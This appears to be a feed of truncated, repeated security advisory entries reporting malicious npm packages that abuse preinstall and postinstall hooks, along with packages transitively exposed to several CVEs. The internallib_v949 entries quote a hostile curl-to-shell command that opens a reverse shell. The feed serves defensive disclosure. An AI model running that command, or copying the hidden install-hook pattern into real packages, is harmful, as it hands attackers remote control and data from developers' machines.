Malicious code in test1hh235 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9c95dc5aea7805ca50e114bae45747a46edb7331311044b0d3730e303d4351a Package declares both preinstall and postinstall lifecycle hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded...

MAL-2026-16314 Malicious code in test1hh235 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9c95dc5aea7805ca50e114bae45747a46edb7331311044b0d3730e303d4351a Package declares both preinstall and postinstall lifecycle hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded...

Malicious code in test1gg234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73 The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare I...

MAL-2026-16313 Malicious code in test1gg234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73 The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare I...

Malicious code in chat-adapter-matrix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5710eb2e1a2f6b7a4aca8d943953989e80e056cc77c2071027c2a78744b5ea3a [email protected] executes server.js from every npm lifecycle hook preinstall, install, postinstall, prepare, prepublish, preprepare,...

MAL-2026-16308 Malicious code in chat-adapter-matrix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5710eb2e1a2f6b7a4aca8d943953989e80e056cc77c2071027c2a78744b5ea3a [email protected] executes server.js from every npm lifecycle hook preinstall, install, postinstall, prepare, prepublish, preprepare,...

MAL-2026-16299 Malicious code in @pwaplatform/module-sso-integration (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f674867f67f5a8495dbc953913b6cc7c0d8b9d094161c660ca4dfd5449506ba @pwaplatform/[email protected] declares both preinstall and postinstall lifecycle scripts that execute payload.js on npm install...

Malicious code in @siriusbeyond/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ed929a2d8cbd15860eaafb9eb773ad02f9b31f361514b47987eca8dfa1ae695 Package @siriusbeyond/[email protected] registers both preinstall and postinstall lifecycle scripts that execute callback.js on every npm install...

MAL-2026-16320 Malicious code in @siriusbeyond/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ed929a2d8cbd15860eaafb9eb773ad02f9b31f361514b47987eca8dfa1ae695 Package @siriusbeyond/[email protected] registers both preinstall and postinstall lifecycle scripts that execute callback.js on every npm install...

Malicious code in starbucks-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f42de3e225b6f8d6be04fbf613ae4d17458626c92f2cfe1bf1b4476fe132e761 The package's package.json declares a preinstall script that runs callback.js on npm install. callback.js collects os.hostname, os.userInfo,...

MAL-2026-16345 Malicious code in starbucks-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f42de3e225b6f8d6be04fbf613ae4d17458626c92f2cfe1bf1b4476fe132e761 The package's package.json declares a preinstall script that runs callback.js on npm install. callback.js collects os.hostname, os.userInfo,...

@agent-harness-experimental/workflow (>=0.0.1, <=0.0.5), @ai_kit/workflow-world (>=0.1.0, <=0.2.0) +145 more potentially affected by CVE-2026-92708 via devalue (>=5.1.1, <=5.9.2)

devalue NPM version =5.1.1, =0.0.1, =0.1.0, =6.1.0, =6.1.0, =7.0.0, =6.1.0, =0.3.0, =0.0.0-dev.20251108074143, =4.2.3, =3.8.8, =3.8.8, =3.8.7, =3.8.7, =0.1.1, =4.3.15, =4.3.33 and more Source cves: CVE-2026-92708 Source advisory: SNYK:JS-DEVALUE-20044498...

org.webjars.npm:svelte (5.53.12) potentially affected by CVE-2026-92708 via org.webjars.npm:devalue (5.6.4)

org.webjars.npm:devalue MAVEN version 5.6.4 is affected by a known vulnerability. The following packages have a transitive dependency on org.webjars.npm:devalue and may be impacted: - org.webjars.npm:svelte 5.53.12 Source cves: CVE-2026-92708 Source advisory: SNYK:JAVA-ORGWEBJARSNPM-20044500...

Malicious code in internallib_v949 (npm)

Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script into sh to open a reverse shell to the hardcoded attacker...

Malicious code in internallib_v949 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...

MAL-2026-16294 Malicious code in internallib_v949 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16b7999911edfe600ebe4f34972eb325b48d6b96e1ac4212f0881b683a04abd9 index.js line 5 invokes childprocess.exec to run '/bin/bash -c "curl https://reverse-shell.sh/... | sh"', fetching and piping a remote shell script...

ai.catboost:catboost-spark_4.1_2.13 (1.2.10), ai.fastllm:agent-bridge_3 (>=0.3.0, <=0.5.7) +6773 more potentially affected by CVE-2026-93574 via io.netty:netty-codec-http (>=4.2.0.alpha1, <=4.2.17.final)

io.netty:netty-codec-http MAVEN version =4.2.0.alpha1, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.3.0, =0.1.0, =0.1.0, =4.13.5, =4.9.0, =4.9.0, =4.5.0, =4.6.0 and more Source cves: CVE-2026-93574 Source advisory: MEND:CVE-2026-93574...

@2109-t5/server (>=1.0.0, <=1.0.9), @accounter/green-invoice-graphql (>=0.7.2-alpha-20241120214048-10c1c799e5b6e6f25a0ba6b04c8e435c733deff8, <=0.7.3-alpha-20250224164805-3a96c9f8d619656e3b6a8c0d26319b937adbafe6) +276 more potentially affected by CVE-2026-93748 via http-cache-semantics (>=4.0.3, <=4.2.0)

http-cache-semantics NPM version =4.0.3, =1.0.0, =0.7.2-alpha-20241120214048-10c1c799e5b6e6f25a0ba6b04c8e435c733deff8, =0.2.3-alpha-20241120214048-10c1c799e5b6e6f25a0ba6b04c8e435c733deff8, =0.2.3-alpha-20241120214048-10c1c799e5b6e6f25a0ba6b04c8e435c733deff8, =15.0.0, =1.1.3, =1.1.0, =3.0.0,...

@anchrd/intel (>=0.59.0, <=0.125.0), @anchrd/intel-ui (>=0.41.0, <=0.57.0) +13 more potentially affected by CVE-2026-91127 via @file-viewer/doc (>=2.1.23, <=2.3.0)

@file-viewer/doc NPM version =2.1.23, =0.59.0, =0.41.0, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =2.1.23, =0.1.0, =0.9.0-beta.25, =1.1.4 Source cves: CVE-2026-91127 Source advisory: GHSA-3753-M2X2-Q623...

0g-aura (>=0.1.0, <=0.4.31), 0g-kit (>=1.0.0, <=1.0.9) +16553 more potentially affected by CVE-2026-77301 via adm-zip (>=0.1.4, <=0.6.0)

adm-zip NPM version =0.1.4, =0.1.0, =1.0.0, =0.1.0, =0.2.9, =3.0.0-rc.0, =1.125.0, =1.2.2, =1.0.0, =1.0.0, =1.0.1, =1.0.10 and more Source cves: CVE-2026-77301 Source advisory: GHSA-7Q85-XJ36-VMFC...